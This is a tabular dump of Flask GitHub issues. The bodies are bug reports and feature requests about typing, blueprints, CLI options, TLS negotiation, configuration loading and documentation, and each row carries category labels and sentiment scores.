pallets/flask,1659203117,docs: Mention the passthrough_errors option in the External Debuggers section,"In #4729, the limitation that `PROPAGATE_EXCEPTIONS` doesn't actually propagate exceptions to external debuggers is discussed. Since fixing the issue for the general case seems like a lot of work, I propose to simply add some documentation to empower users to set the `passthrough_errors` flag on a case-by-case basis as they deem necessary.

I've added a couple short paragraphs and an example of configuring an external debugger at https://github.com/MajorDallas/flask/commit/9d25933e523a068c6b45c9add92c22ac27fb4699.",docs,2023-04-07 21:04:02+00:00,2023-04-15 18:57:51+00:00,0,docs,7.9124,docs mention the passthrough errors option in the external debuggers section in the limitation that doesn t actually propagate exceptions to external debuggers is discussed since fixing the issue for the general case seems like a lot of work i propose to simply add some documentation to empower users to set the flag on a case by case basis as they deem necessary i ve added a couple short paragraphs and an example of configuring an external debugger at,bug,-0.2732
pallets/flask,1655929794,"custom error message in `flask.abort(404, description=""msg"")` not emitted in response","https://flask.palletsprojects.com/en/2.2.x/errorhandling/?highlight=abort

> [abort()](https://flask.palletsprojects.com/en/2.2.x/api/#flask.abort) is called with a description parameter. The error handler will use that as the JSON error message, and set the status code to 404.

The docs show as an example: `abort(404, description=""Resource not found"")`

When I do 
```python
flask.abort(404, description=""foo"")
```

Then the body of the generated HTTP response is in lack of the custom error message, and instead is
```
{""code"": 404, ""name"": ""Not Found""}
```

Env:
```
± pip list | grep -e 'Flask' -e 'Werkzeug'
Flask                         2.2.3
Flask-Bootstrap               3.3.7.1
Flask-Login                   0.6.2
Flask-WTF                     1.1.1
types-Flask                   1.1.6
types-Werkzeug                1.0.9
Werkzeug                      2.2.2
```

My environment is rather huge and I did not work on a minimal repro yet.",,2023-04-05 16:15:17+00:00,2023-04-05 16:18:10+00:00,2,nan,0.002,custom error message in not emitted in response abort is called with a description parameter the error handler will use that as the json error message and set the status code to the docs show as an example when i do then the body of the generated http response is in lack of the custom error message and instead is env my environment is rather huge and i did not work on a minimal repro yet,bug,-0.9001
pallets/flask,1641569760,"""Blueprint"" has no attribute ""register_blueprint"" mypy typing error","When we try to register one blueprint to another blueprint in flask getting an error from mypy: 
```sh
""Blueprint"" has no attribute ""register_blueprint"" mypy typing error
```
This shouldn't ideally happen as described in the docs: https://flask.palletsprojects.com/en/2.2.x/blueprints/#nesting-blueprints

Environment: 
- OS: Ubuntu 22.10
- Python version: 3.10.10
- Flask version: Flask==2.2.2 Flask-RESTful==0.3.9
",,2023-03-27 07:45:02+00:00,2023-03-31 13:22:32+00:00,1,nan,4.2344,blueprint has no attribute register blueprint mypy typing error when we try to register one blueprint to another blueprint in flask getting an error from mypy this shouldn t ideally happen as described in the docs environment os ubuntu python version flask version flask flask restful,bug,-0.4404
pallets/flask,1639308615,request json have not parsed correct?,"```
@user.post('/get_auth')
def get_auth():
    print(request.is_json, request.mimetype, request.data)
    username = request.json['username']
```

```
 * Restarting with stat
 * Debugger is active!
 * Debugger PIN: 
True application/json b""{'username':'test'}""
127.0.0.1 - - [24/Mar/2023 20:27:55] ""POST /api/user/get_auth HTTP/1.1"" 400 -
```

`curl -d ""{'username':'test'}"" -H ""Content-Type: application/json"" -X POST http://127.0.0.1:5000/api/user/get_auth`

Environment:
- Python 3.10.4
- Flask 2.2.3

why request json have not parsed correct?",,2023-03-24 12:34:05+00:00,2023-03-24 12:35:20+00:00,1,nan,0.0009,request json have not parsed correct environment python flask why request json have not parsed correct,feature,0.0
pallets/flask,1637931953,URL Hack?,"![image](https://user-images.githubusercontent.com/50749933/227280757-1392b272-f997-4ef4-ba18-ccf528a01751.png)
![image](https://user-images.githubusercontent.com/50749933/227280821-4355646d-3564-4805-92c3-cecbf903e12e.png)

Im not too sure what the person was trying to do with this, but they were able to clear my MongoDB. I don't even use phpadmin so I'm not sure either what they were doing there, but yeah.

If this is just a issue with me and how i setup my site, would be nice if someone could tell me what i did wrong, since I've used flask for ages and I've never had this happen.

**new issue in comments**",,2023-03-23 17:07:41+00:00,2023-03-27 18:14:26+00:00,2,nan,4.0464,url hack image image im not too sure what the person was trying to do with this but they were able to clear my mongodb i don t even use phpadmin so i m not sure either what they were doing there but yeah if this is just a issue with me and how i setup my site would be nice if someone could tell me what i did wrong since i ve used flask for ages and i ve never had this happen new issue in comments,others,0.4265
pallets/flask,1629129829,Missing parentheses in docs example,"In the WSGI section, where `eventlet` is being described, there is a code snippet for quickly setting it up (docs/deploying/eventlet). The code snippet is missing a parentheses. :)

Environment:

- Python version: 3.10.8
- Flask version: 2.3.0
",,2023-03-17 11:11:42+00:00,2023-04-12 20:29:14+00:00,0,nan,26.3872,missing parentheses in docs example in the wsgi section where is being described there is a code snippet for quickly setting it up docs deploying eventlet the code snippet is missing a parentheses environment python version flask version,documentation,-0.5267
pallets/flask,1619160802,send_file wont accept filenames with comma,"If the user requests a file from server such as ""CORAÇÕES,.html"" the browser will return this error:
ERR_RESPONSE_HEADERS_MULTIPLE_CONTENT_DISPOSITION

This is caused by comma inside the filename.

if replace the name for ""C,.html"", it works.


To replicate this error, you can run this function:

```
send_from_directory(
        ""CORAÇÕES,.html"",
         as_attachment=True,
        
    )
```

Environment:

- Python version:3.10.9
- Flask version:2.2.3


Solution:
The comma can be replaced by a comma on the http header. It wont work with a commen comma, such as '""Corações,.html""', but it will work with urrllib.parse, such as:

```
from urllib.parse import quote
send_from_directory(
        ""CORAÇÕES,.html"",
         as_attachment=True,
         download_name=quote(""CORAÇÕES,.html""),  
    )
```

Maybe we can add urrlibe.parse.quote as default for download_name? 


",,2023-03-10 15:26:30+00:00,2023-03-10 15:33:28+00:00,1,nan,0.0048,send file wont accept filenames with comma if the user requests a file from server such as cora es html the browser will return this error err response headers multiple content disposition this is caused by comma inside the filename if replace the name for c html it works to replicate this error you can run this function environment python version flask version solution the comma can be replaced by a comma on the http header it wont work with a commen comma such as cora es html but it will work with urrllib parse such as maybe we can add urrlibe parse quote as default for download name,others,-0.5334
pallets/flask,1617909280,Update Flask to work with Werkzeug 2.2.3 due to open CVE,"Hello Flask Team: 

I am aware that bug reports regarding sub-dependencies may not be welcome here, but I feel that this is too important (in my case it's most likely a complete show-stopper).


We have invested a significant amount of time building Rest APIs and webapps with Flask, and our CICD pipeline incorporates a well-known vulnerability scanner. Our build pipeline fails due to an open CVE in Werkzeug: https://nvd.nist.gov/vuln/detail/CVE-2023-23934 

There are only two known versions of Werkzeug that do not have an associated CVE:  2.2.0 and the latest 2.2.3. However due to the issue [ImportError: cannot import name 'parse_rule' from 'werkzeug.routing'](https://stackoverflow.com/questions/73105877/importerror-cannot-import-name-parse-rule-from-werkzeug-routing)  we cannot update Werkzeueg to 2.2.3.

The recommended solution is to downgrade to Werkzeug to 2.1.2 (I believe) and that does work. However that version and all previous versions have CVEs.

Is it possible to make Flask work with the newest Werkzeug 2.2.3? As of now we cannot push any new changes into production and are basically stuck until Flask works with the newest version of Werkzeug. I could be mistaken but I think this may be the case.

And as always, thank you for the support.

Environment:

- Python version: 3.8
- Flask version: 2.2.3 (newest Flask at the time of writing this issue)
",,2023-03-09 19:56:13+00:00,2023-03-09 19:59:55+00:00,6,nan,0.0026,update flask to work with werkzeug due to open cve hello flask team i am aware that bug reports regarding sub dependencies may not be welcome here but i feel that this is too important in my case it s most likely a complete show stopper we have invested a significant amount of time building rest apis and webapps with flask and our cicd pipeline incorporates a well known vulnerability scanner our build pipeline fails due to an open cve in werkzeug there are only two known versions of werkzeug that do not have an associated cve and the latest however due to the issue importerror cannot import name parse rule from werkzeug routing we cannot update werkzeueg to the recommended solution is to downgrade to werkzeug to i believe and that does work however that version and all previous versions have cves is it possible to make flask work with the newest werkzeug as of now we cannot push any new changes into production and are basically stuck until flask works with the newest version of werkzeug i could be mistaken but i think this may be the case and as always thank you for the support environment python version flask version newest flask at the time of writing this issue,others,0.5362
pallets/flask,1609840831,On Debug Mode my function is called twice,"```py

import shutil
import os
from flask import Flask, render_template, request
from datetime import datetime
from os.path import isfile, join
from sqlite3 import connect

class Server(Flask):
  def __init__(self, *args, **kwargs):
    super().__init__(*args, **kwargs)
    
    self.db_path = join(""back-end"", ""database"" ,""news.db"")
    
    #Routes
    @self.route(""/"")
    @self.route(""/home"")
    def home():
      return render_template(""home.html"")
    
    @self.route(""/about"")
    def about():
      return render_template(""about.html"")
    
    @self.route(""/table"")
    def table():
      return render_template(""table.html"")
    
    @self.route(""/sabah"")
    def sabah():
      return render_template(""sabah.html"")

    @self.route(""/news"")
    def news():
      pass
    
    @self.route(""/science"")
    def science():
      pass
    #Functionality
    
    @self.template_global(""getsemester"")
    def gettime()->str:
      """"""This function gets current time and determines
      the semester to show.""""""
      now = datetime.now()

      if isfile(""static/cedvel/cedvel.pdf""):
        
        if datetime(now.year, 9, 15) <= now < datetime(now.year+1, 2, 16):  
          return f""{now.year} PAYIZ SEMESTERİ üçün nəzərdə tutulub!""
        
        elif datetime(now.year, 2, 15) <= now < datetime(now.year, 6, 15):
          return f""{now.year} YAZ SEMESTERİ üçün nəzərdə tutulub!""
        
        else:
          return  ""H... [TRUNCATED]",,2023-03-04 16:03:37+00:00,2023-03-04 16:05:01+00:00,3,nan,0.001,on debug mode my function is called twice py import shutil import os from flask import flask render template request from datetime import datetime from os path import isfile join from sqlite import connect class server flask def init self args kwargs super init args kwargs self db path join back end database news db routes self route self route home def home return render template home html self route about def about return render template about html self route table def table return render template table html self route sabah def sabah return render template sabah html self route news def news pass self route science def science pass functionality self template global getsemester def gettime str this function gets current time and determines the semester to show now datetime now if isfile static cedvel cedvel pdf if datetime now year now datetime now year return f now year payiz semester n n z rd tutulub elif datetime now year now datetime now year return f now year yaz semester n n z rd tutulub else return h truncated,bug,0.8074
pallets/flask,1609839683,On DEBUG mode my functions is called twice instead of once,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->

<!--
Describe the expected behavior that should have happened but didn't.
-->

Environment:

- Python version:
- Flask version:
",,2023-03-04 15:59:52+00:00,2023-03-04 16:01:44+00:00,1,nan,0.0013,on debug mode my functions is called twice instead of once this issue tracker is a tool to address bugs in flask itself please use pallets discord or stack overflow for questions about your own code replace this comment with a clear outline of what the bug is describe how to replicate the bug include a minimal reproducible example that demonstrates the bug include the full traceback if there was an exception describe the that should have happened but didn t environment python version flask version,bug,-0.5267
pallets/flask,1609446992,Require a non-empty name for Blueprints,"Things do not work correctly if a Blueprint is given an empty name (e.g. #4944).
It would be helpful if a `ValueError` was raised when trying to do that.",blueprints,2023-03-04 00:09:15+00:00,2023-03-11 16:34:57+00:00,1,blueprints,7.6845,require a non empty name for blueprints things do not work correctly if a blueprint is given an empty name e g it would be helpful if a was raised when trying to do that,others,0.0516
pallets/flask,1605634847,Allow specifying reloader_type=stat via flask CLI,"Current behavior of enabling reloader in flask CLI (e.g. `flask --debug run`) does not allow specifying `reloader_type` parameter to `werkzeug.run_simple`: https://github.com/pallets/flask/blob/2.2.3/src/flask/cli.py#L923

The default value of `reloader_type='auto'` tries to import watchdog, and then fails back to stat if module is not found. This is problematic for environments where watchdog is installed, but stat is the preferred reloader type.
",,2023-03-01 20:42:29+00:00,2023-03-01 21:33:54+00:00,1,nan,0.0357,allow specifying reloader type stat via flask cli current behavior of enabling reloader in flask cli e g does not allow specifying parameter to the default value of tries to import watchdog and then fails back to stat if module is not found this is problematic for environments where watchdog is installed but stat is the preferred reloader type,others,-0.0644
pallets/flask,1600133801,Flask routes to return domain/sub-domains information,"Currently when checking **flask routes** it provides all routes but **it is no way to see which routes are assigned to which subdomain**.

**Default server name:**
SERVER_NAME: 'test.local'

**Domains (sub-domains):**
test.test.local
admin.test.local
test.local

**Adding blueprints:**
app.register_blueprint(admin_blueprint,url_prefix='',subdomain='admin')
app.register_blueprint(test_subdomain_blueprint,url_prefix='',subdomain='test')


```
$ flask routes
 * Tip: There are .env or .flaskenv files present. Do ""pip install python-dotenv"" to use them.
Endpoint                                                 Methods    Rule
-------------------------------------------------------  ---------  ------------------------------------------------
admin_blueprint.home                                      GET        /home
test_subdomain_blueprint.home                             GET        /home
static                                                    GET        /static/<path:filename>
...
```


**Feature request**
It will be good to see something like below (that will make more clear which route for which subdomain, because now need to go and check configuration).
**If it is not possible to fix routes**, can you add or tell which method(s) should be used to get below information from flask? 

```
$ flask routes
 * Tip: There are .env or .flaskenv files present. Do ""pip install python-dotenv"" to use them.
Domain                Endpoint                     ... [TRUNCATED]",cli,2023-02-26 17:25:08+00:00,2023-04-14 16:45:22+00:00,0,cli,46.9724,flask routes to return domain sub domains information currently when checking flask routes it provides all routes but it is no way to see which routes are assigned to which subdomain default server name server name test local domains sub domains test test local admin test local test local adding blueprints app register blueprint admin blueprint url prefix subdomain admin app register blueprint test subdomain blueprint url prefix subdomain test feature request it will be good to see something like below that will make more clear which route for which subdomain because now need to go and check configuration if it is not possible to fix routes can you add or tell which method s should be used to get below information from flask flask routes tip there are env or flaskenv files present do pip install python dotenv to use them domain endpoint truncated,others,0.7561
pallets/flask,1599307350,redirect is annotated to return a werkzeug type,"My app doesn't need `werkzeug` directly except for type annotations of views that contain a `redirect` call, even when I explicitly provide `Response=flask.Response`.
https://github.com/pallets/flask/blob/5cdfeae2e82541577e17f5179d91775550e34ebd/src/flask/helpers.py#L233-L235
I think this can be achieved in a similar way to `classmethod`s:
``` python
_BaseResponse = t.TypeVar(""_BaseResponse"", bound=""BaseResponse"")

def redirect( 
    location: str, code: int = 302, Response: t.Optional[t.Type[_BaseResponse]] = None 
) -> _BaseResponse:
```",,2023-02-24 21:35:32+00:00,2023-02-24 21:53:37+00:00,1,nan,0.0126,redirect is annotated to return a werkzeug type my app doesn t need directly except for type annotations of views that contain a call even when i explicitly provide i think this can be achieved in a similar way to s,others,0.0
pallets/flask,1596557888,route decorator compatibility with MethodView,"I am trying to get the ```route``` decorator to work with the ```MethodView```.

```python
from flask import Blueprint
from flask.views import MethodView

api = Blueprint(""api"", __name__)

@api.route(""/users"")
class UserAPI(MethodView):

    def get(self):
        pass

    def post(self):
        pass
```

I am not sure if this is currently supported but it would be a good plus.",,2023-02-23 10:04:59+00:00,2023-02-23 13:47:24+00:00,2,nan,0.1545,route decorator compatibility with methodview i am trying to get the decorator to work with the i am not sure if this is currently supported but it would be a good plus,others,0.6148
pallets/flask,1596132686,remove `locked_cached_property`,"`locked_cached_property` is a modification of `cached_property` that acquires a lock before interacting with its data. Due to the way descriptors work, even though the property is ""cached"", each access still invokes the descriptor's `__get__` method and acquires the lock. Therefore, when using thread-like workers that share the lock, requests can block each other. These blocks should be very brief, as they're only immediately returning the cached property, but it's still inefficient.

It is currently applied to `app.jinja_env`, `app.logger`, `app.name`, `app.jinja_loader`, and `blueprint.jinja_loader`. I'm not entirely sure we need locks on them at all, but just in case we could use locks within the methods.",,2023-02-23 02:56:58+00:00,2023-02-23 18:59:30+00:00,0,nan,0.6684,remove is a modification of that acquires a lock before interacting with its data due to the way descriptors work even though the property is cached each access still invokes the descriptor s method and acquires the lock therefore when using thread like workers that share the lock requests can block each other these blocks should be very brief as they re only immediately returning the cached property but it s still inefficient it is currently applied to and i m not entirely sure we need locks on them at all but just in case we could use locks within the methods,others,-0.425
pallets/flask,1593384901,Issues with flask Blueprint,"### Description of problem

I had catched up a issue with the flask Blueprint. When trying to register a blueprint, using the code (used the documentation as reference):

```
## Flask imports

from flask import Flask, Blueprint
from blueprints import about_blueprint

## Declaration  of Flask application

app = Flask(__name__)

## Registration of blueprint

@app.register_blueprint(about_blueprint)
```

The blueprints/about_blueprint.py has the content:

```
## Import Blueprint from Flask

from flask import Blueprint

## Declare blueprint

about_blueprint = Blueprint(__name__)

## Blueprint declared actions

@about_blueprint.route('/about?go=<go>')
def about(go):
	if go is None:
		return '<h4>About page</h4>'
	else:
		return f'<h4>About: {go}</h4>'
```


While attempting to run it, I recieve a following error:

```
Traceback (most recent call last):
  File ""main.py"", line 25, in <module>
    @app.register_blueprint(about_blueprint)
  File ""/home/runner/Site/venv/lib/python3.10/site-packages/flask/scaffold.py"", line 50, in wrapper_func
    return f(self, *args, **kwargs)
  File ""/home/runner/Site/venv/lib/python3.10/site-packages/flask/app.py"", line 1296, in register_blueprint
    blueprint.register(self, options)
TypeError: register() takes 1 positional argument but 2 were given
```

### Environment:

- Python version: 3.10
- Flask version: latest
",,2023-02-21 12:20:49+00:00,2023-02-21 14:11:25+00:00,4,nan,0.0768,issues with flask blueprint description of problem i had catched up a issue with the flask blueprint when trying to register a blueprint using the code used the documentation as reference the blueprints about blueprint py has the content while attempting to run it i recieve a following error environment python version flask version latest,bug,-0.6908
pallets/flask,1593157664,app.test_client is not thread-safe,"Currently, using app.test_client() together with multi-threaded environment will fail:

```
from concurrent.futures import ThreadPoolExecutor

from flask import Flask, jsonify

app = Flask(__name__)


@app.route(""/info"")
def info():
    return jsonify({""status"": ""success""})


app.testing = True
with app.test_client() as client:

    def check(*args):
        return client.get(""/info"")

    with ThreadPoolExecutor(5) as tpe:
        print(tpe.map(check, range(5)))
```


with


```
Traceback (most recent call last):
  File ""/Users/X/.pyenv/versions/flow-venv-3.9/lib/python3.9/site-packages/flask/ctx.py"", line 399, in pop
    self.app.do_teardown_request(exc)
  File ""/Users/X/.pyenv/versions/flow-venv-3.9/lib/python3.9/site-packages/flask/app.py"", line 2370, in do_teardown_request
    for name in chain(request.blueprints, (None,)):
  File ""/Users/X/.pyenv/versions/flow-venv-3.9/lib/python3.9/site-packages/werkzeug/local.py"", line 316, in __get__
    obj = instance._get_current_object()  # type: ignore[misc]
  File ""/Users/X/.pyenv/versions/flow-venv-3.9/lib/python3.9/site-packages/werkzeug/local.py"", line 513, in _get_current_object
    raise RuntimeError(unbound_message) from None
RuntimeError: Working outside of request context.
```

Obviously, this can be solved by running the app as standalone (see http://www.prschmid.com/2013/01/multi-threaded-unit-test-for-flask-rest.html), but then I have to add manual error control and re-rise an... [TRUNCATED]",,2023-02-21 09:47:37+00:00,2023-02-21 14:19:36+00:00,2,nan,0.1889,app test client is not thread safe currently using app test client together with multi threaded environment will fail with obviously this can be solved by running the app as standalone see but then i have to add manual error control and re rise an truncated,others,-0.7313
pallets/flask,1590376516,Add a file mode parameter to flask.Config.from_file(),"Python 3.11 introduced native TOML support with the `tomllib` package. This could work nicely with the `flask.Config.from_file()` method as an easy way to load TOML config files:

```python
app.config.from_file(""config.toml"", tomllib.load)
```

However, `tomllib.load()` takes an object readable in binary mode, while `flask.Config.from_file()` opens a file in text mode, resulting in this error:

```
TypeError: File must be opened in binary mode, e.g. use `open('foo.toml', 'rb')`
```

We can get around this with a more verbose expression, like loading from a file opened with the built-in `open()` function and passing the `dict` to `app.Config.from_mapping()`:

```python
# We have to repeat the path joining that from_file() does
with open(os.path.join(app.config.root_path, ""config.toml""), ""rb"") as file:
    app.config.from_mapping(tomllib.load(file))
```

But adding a file mode parameter to `flask.Config.from_file()` would enable the use of a simpler expression. E.g.:

```python
app.config.from_file(""config.toml"", tomllib.load, mode=""b"")
```
",,2023-02-18 15:23:14+00:00,2023-02-23 19:13:19+00:00,5,nan,5.1598,add a file mode parameter to flask config from file python introduced native toml support with the package this could work nicely with the method as an easy way to load toml config files however takes an object readable in binary mode while opens a file in text mode resulting in this error we can get around this with a more verbose expression like loading from a file opened with the built in function and passing the to but adding a file mode parameter to would enable the use of a simpler expression e g,others,0.4908
pallets/flask,1590069212,Single quotes added to ENV VARS on reload,"Our application uses an environment variable to store the path to our certificates which is used by the ""hvac"" and ""requests"" libraries to send verify requests. 

On an initial load of our Flask application, we are successfully able to make a request, and the certificate location that is passed to these libraries (sourced from the environment variable on our system) is 
`/path/to/ssl/cert.crt`

However, when we run our Flask app with `debug=True`, it causes this environment variable to be loaded with additional single quotes around it (e.g. `'/path/to/ssl/cert.crt'`). The addition of these quotes causes the path to become invalid and requests cannot be made. ",,2023-02-17 23:19:00+00:00,2023-02-17 23:42:36+00:00,1,nan,0.0164,single quotes added to env vars on reload our application uses an environment variable to store the path to our certificates which is used by the hvac and requests libraries to send verify requests on an initial load of our flask application we are successfully able to make a request and the certificate location that is passed to these libraries sourced from the environment variable on our system is however when we run our flask app with it causes this environment variable to be loaded with additional single quotes around it e g the addition of these quotes causes the path to become invalid and requests cannot be made,others,0.4939
pallets/flask,1588393421,Tutorial Documentation Issue with --debug,"# Recap

[Run Application](https://flask.palletsprojects.com/en/2.2.x/tutorial/factory/#run-the-application) section says you should run:  `flask --app flaskr run --debug`

This provides this error:
```
(Discord) C:\Users\gradu\code\flask-tutorial>flask --app flaskr run --debug 
Usage: flask run [OPTIONS]
Try 'flask run --help' for help.

Error: No such option: --debug (Possible options: --debugger, --no-debugger)
```

# Replication

Follow the tutorial.

# Resolution

The following should be run for it to work since `--debug` should be before `run`: 
`flask --app flaskr --debug run`

Environment:

- Python version:  3.10
- Flask version:  2.2.2
",,2023-02-16 21:35:52+00:00,2023-02-16 23:04:18+00:00,2,nan,0.0614,tutorial documentation issue with debug recap run application section says you should run this provides this error replication follow the tutorial resolution the following should be run for it to work since should be before environment python version flask version,bug,-0.5423
pallets/flask,1588139584,TLS version (and/or cipher suite) negotiation appears to be broken with TLS 1.3 (discovered via Chromium GREASE).,"If Flask is configured to use TLS1.3+ (see code example below), the implementation appears to perform the TLS version negotiation (and/or the cipher suite negotiation) incorrectly.

Since TLS1.3 the version negotiation has been moved to the `supported_versions` extension in ClientHello/ServerHello.

In particular, the client sends a **discrete** list of supported versions in the ClientHello, and the server selects one that it supports, echoing it back to the client in the ServerHello.

In order to detect implementation bugs, Chromium sends random reserved (see [RFC 8701](https://www.rfc-editor.org/rfc/rfc8701.html)) version codes together with the legitimate version codes in the ClientHello. This is part of the ""GREASE"" mechanism to detect future ""intolerances"" in advance.

The correct approach when receiving ""GREASE"" codes / extensions is to simply ignore them as unrecognised codes / extensions.

It looks like that, when at least one of the ""GREASE"" version codes is greater than the TLS 1.3 code (0x0304), Flask aborts the TLS handshake with an alert saying that no common TLS versions / TLS cipher suites have been found.

Actually, it is possible that the error is caused by the same kind of ""intolerance"" in the cipher suite negotiation.
However, since ""GREASE"" is controlled by the browser, there is no easy way to check which of the two scenarios (version negotiation, and cipher suite negotiation) is causing the issue (or if both are).

Conversely, Mozilla Firef... [TRUNCATED]",,2023-02-16 18:04:31+00:00,2023-02-16 18:07:24+00:00,2,nan,0.002,tls version and or cipher suite negotiation appears to be broken with tls discovered via chromium grease if flask is configured to use tls see code example below the implementation appears to perform the tls version negotiation and or the cipher suite negotiation incorrectly since tls the version negotiation has been moved to the extension in clienthello serverhello in particular the client sends a discrete list of supported versions in the clienthello and the server selects one that it supports echoing it back to the client in the serverhello in order to detect implementation bugs chromium sends random reserved see rfc version codes together with the legitimate version codes in the clienthello this is part of the grease mechanism to detect future intolerances in advance the correct approach when receiving grease codes extensions is to simply ignore them as unrecognised codes extensions it looks like that when at least one of the grease version codes is greater than the tls code x flask aborts the tls handshake with an alert saying that no common tls versions tls cipher suites have been found actually it is possible that the error is caused by the same kind of intolerance in the cipher suite negotiation however since grease is controlled by the browser there is no easy way to check which of the two scenarios version negotiation and cipher suite negotiation is causing the issue or if both are conversely mozilla firef truncated,others,0.128
pallets/flask,1587983339,testing breaks when using .env,"If you use .env for things like your SECRET_KEY, this will break in testing the way the original code is now.

```python
import os
from dotenv import dotenv_values
from flask import Flask, redirect, url_for


config = dotenv_values("".env"")

def create_app(test_config=None):
    # create and configure the app
    app = Flask(__name__, instance_relative_config=True)
    app.config.from_mapping(
        SECRET_KEY=config[""SECRET_KEY""],
        DATABASE=os.path.join(app.instance_path, config[""DB_NAME""]),
    )

    if test_config is None:
        # load the instance config, if it exists, when not testing
        app.config.from_pyfile('config.py', silent=True)
    else:
        # load the test config if passed in
        app.config.from_mapping(test_config)
```

```
_______________________ test_config _______________________ 

    def test_config():
>       assert not create_app().testing

1-interview\tests\test_factory.py:5:
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ 

test_config = None

    def create_app(test_config=None):
        # create and configure the app
        app = Flask(__name__, instance_relative_config=True)
        app.config.from_mapping(
>           SECRET_KEY=config[""SECRET_KEY""],
            DATABASE=os.path.join(app.instance_path, config[""DB_NAME""]),
        )
E       KeyError: 'SECRET_KEY'

1-interview\api\__init__.py:14: KeyError
```

<details>
<summary>Pytest output</summary>

```
====... [TRUNCATED]",,2023-02-16 16:17:05+00:00,2023-02-16 16:32:58+00:00,7,nan,0.011,testing breaks when using env if you use env for things like your secret key this will break in testing the way the original code is now pytest output truncated,others,0.5859
pallets/flask,1586927355,logout on Flaskr does not go back to login screen,"by creating the [Flaskr app ](https://flask.palletsprojects.com/en/2.2.x/tutorial), if you select LOGOUT it does not take you back to the login screen, just the blog template. This is because the root always points there, it seems.

Before:
![image](https://user-images.githubusercontent.com/20706498/219167827-fba56ba0-6650-44f0-947b-2ce19e0efa18.png)

After:
![image](https://user-images.githubusercontent.com/20706498/219167985-27ca2861-c1eb-4066-b2cc-e55e8599369e.png)

This should not be expected, but [the tutorial](https://flask.palletsprojects.com/en/2.2.x/tutorial/blog/#the-blueprint) seems unclear in the ""alternative"". (Which to me seems more like the solution.)

![image](https://user-images.githubusercontent.com/20706498/219169141-93956e49-eff4-47c7-85ca-49f1d20b13ae.png)

Environment:

- Python version: 3.11
- Flask version: 2.2.x
",,2023-02-16 03:08:58+00:00,2023-02-16 05:13:43+00:00,1,nan,0.0866,logout on flaskr does not go back to login screen by creating the flaskr app if you select logout it does not take you back to the login screen just the blog template this is because the root always points there it seems before image after image this should not be expected but the tutorial seems unclear in the alternative which to me seems more like the solution image environment python version flask version x,others,0.7299
pallets/flask,1586168759,url_for() add support for explicit query params,"I have a flask route that takes the query params of the request, and uses them to build a new URL.

A simplified example looks like this:

```python

@app.route(""/my-route"")
def my_route():
    request_query = request.args.to_dict()
    request_query['foo'] = 'bar'    

    url = url_for(""my_route"", **request_query)
    return app.redirect(url)
```

So for example if you request `/my-route?value=1` you will be redirected to `/my-route?value=1&foo=bar`

Mypy started raising a type error after upgrading to Flask 2.2.

```
error: Argument 3 to ""url_for"" has incompatible type ""**Dict[str, str]""; expected ""Optional[bool]""  [arg-type]
```

I understand the source of the error: The ``**request_query`` dict could technically contain reserved keys like `""_external""` in it, which would lead to an invalid function signature. But this points to a larger bug that I had not considered, which is that unless I sanitize all of the reserved keywords (`_external`, `_method`, etc.) from my query parameters, this could lead to unexpected URLs and a possible vulnerability (e.g. somebody sending `/my-route?_scheme=http` and downgrading the redirect to http).

Even if I sanitize those reserved keywords:

- Future versions of flask could add new reserved keywords, making my code invisibly vulnerable again.
- I don't know how I would reconcile the type error without switching away from ``**request_query`` to explicit keywords, which would be very difficult in my case.

Wh... [TRUNCATED]",,2023-02-15 16:29:18+00:00,2023-02-15 17:18:44+00:00,3,nan,0.0343,url for add support for explicit query params i have a flask route that takes the query params of the request and uses them to build a new url a simplified example looks like this so for example if you request you will be redirected to mypy started raising a type error after upgrading to flask i understand the source of the error the request query dict could technically contain reserved keys like in it which would lead to an invalid function signature but this points to a larger bug that i had not considered which is that unless i sanitize all of the reserved keywords etc from my query parameters this could lead to unexpected urls and a possible vulnerability e g somebody sending and downgrading the redirect to http even if i sanitize those reserved keywords future versions of flask could add new reserved keywords making my code invisibly vulnerable again i don t know how i would reconcile the type error without switching away from request query to explicit keywords which would be very difficult in my case wh truncated,help,-0.9436
pallets/flask,1584817376,before_first_request and url_for,"I used to use `before_first_request` to set up a sort of navigation config.
```py
@app.before_first_request
def _setup_navigation(app):
    app.config['navigation'] = [
        {'name': 'Home', 'url': url_for('mysite.home', _external=False)},
        {'name': 'About', 'url': url_for('mysite.about', _external=False)},
        ...
    ]
```
and then I have a `navbar.jinja2` that iterates through this creating links based on the list found in `app.config.navigation` like
```html
<div class=""navbar"" id=""main-nav"">
    <ul class=""nav navbar-nav"">
    {% for nav in config.navigation %}
        <li><a href=""{{ nav.url }}"">{{ nav.name }}</a></li>
    {% endfor %}
    </ul>
</div>
```

But then `before_first_request` was deprecated. So I am trying to update to use the app factory pattern. But I cannot use `url_for` outside a request context unless I specify a `SERVER_NAME`. But then it's more difficult to do local debugging since I can't just go to `localhost:8000` anymore because that doesn't match the `SERVER_NAME`.

To get around this, I have just added a `before_request` decorator and wrapped it in a test for the existence of my `app.config['navigation']` key.

Perhaps `url_for` could be relaxed to not need a `SERVER_NAME` when `_external=False`?",,2023-02-14 20:55:31+00:00,2023-02-14 21:05:05+00:00,0,nan,0.0066,before first request and url for i used to use to set up a sort of navigation config and then i have a that iterates through this creating links based on the list found in like but then was deprecated so i am trying to update to use the app factory pattern but i cannot use outside a request context unless i specify a but then it s more difficult to do local debugging since i can t just go to anymore because that doesn t match the to get around this i have just added a decorator and wrapped it in a test for the existence of my key perhaps could be relaxed to not need a when,feature,0.4785
pallets/flask,1583001949,mypy 1.0 no longer accepts flask.Response as redirect type,"```
from __future__ import annotations

from flask import Response, redirect


def handler() -> Response:
    return redirect("""")
```
```
❯ .tox/type/bin/mypy magic.py
magic.py:7: error: Incompatible return value type (got ""werkzeug.wrappers.response.Response"", expected ""flask.wrappers.Response"")  [return-value]
Found 1 error in 1 file (checked 1 source file)
~/git/dqc/bsso-flask on  timeout [!]
❯ .tox/type/bin/mypy --version
mypy 1.0.0 (compiled: yes)
```",typing,2023-02-13 20:16:49+00:00,2023-02-15 15:01:16+00:00,2,typing,1.7809,mypy no longer accepts flask response as redirect type,others,0.0258
pallets/flask,1576970973,Support using GitHub Codespaces by adding a devcontainer,"**What will this do?**

The goal is to support the use of [GitHub Codespaces](https://docs.github.com/en/codespaces) for contributors. This will involve:
